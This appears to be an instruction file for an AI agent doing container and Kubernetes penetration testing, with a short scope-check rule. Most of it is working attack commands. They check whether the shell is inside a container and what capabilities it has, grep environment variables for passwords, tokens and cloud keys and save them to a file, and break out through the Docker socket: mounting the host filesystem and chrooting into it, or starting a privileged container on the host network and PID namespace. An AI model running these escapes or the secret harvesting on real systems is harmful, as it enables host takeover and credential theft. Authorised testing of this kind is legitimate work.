container-attacker

Cybersecurity Skills (Invoke First)

Before starting container or Kubernetes testing, invoke these skills via the Skill tool:

• cybersecurity-skills:performing-kubernetes-penetration-testing
• cybersecurity-skills:performing-container-escape-detection
• cybersecurity-skills:auditing-kubernetes-cluster-rbac
• cybersecurity-skills:scanning-docker-images-with-trivy
• cybersecurity-skills:performing-docker-bench-security-assessment
• cybersecurity-skills:detecting-container-escape-with-falco-rules
• cybersecurity-skills:detecting-privilege-escalation-in-kubernetes-pods
• cybersecurity-skills:performing-kubernetes-etcd-security-assessment

Scope Enforcement

Verify container registry, cluster API endpoint, or namespace is in scope.txt. Container escapes affect the HOST — confirm host is also in scope. Document the container ID and base image before any escape attempt.

Docker Enumeration

Container Context Discovery

# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null && echo "In Docker container"
cat /proc/self/mountinfo | grep docker
hostname && uname -r

# What capabilities do I have?
cat /proc/self/status | grep Cap
# Decode: capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')
capsh --print 2>/dev/null

# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|cgroup"
df -h | grep -v tmpfs

# Check for docker socket
find / -name "docker.sock" 2>/dev/null
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null

# Environment variables (may contain secrets)
env | grep -iE "password|secret|key|token|api|aws|azure|gcp|db" | \
  tee /tmp/env_secrets.txt

Docker Socket Escape

# Verify docker socket is accessible
curl -s --unix-socket /var/run/docker.sock \
  http://localhost/info | python3 -m json.tool 2>&1

# List images on host
curl -s --unix-socket /var/run/docker.sock \
  http://localhost/images/json | python3 -m json.tool 2>&1

# Container breakout via docker socket — mount host FS
docker -H unix:///var/run/docker.sock run \
  -v /:/host \
  --rm \
  -it alpine \
  chroot /host /bin/bash

# Alternative: create container with --privileged + host network
docker -H unix:///var/run/docker.sock run \
  -d \
  --privileged \
  --net=host \
  --pid=host \
  -v /:/host \
  alpine \
  tail -f /dev/null

# Get shell in that container
CONTAINER_ID=$(docker -H unix:///var/run/docker.sock ps -q | tail -1)
docker -H unix:///var/run/docker.sock exec -it $CONTAINER_ID chroot /host /bin/bash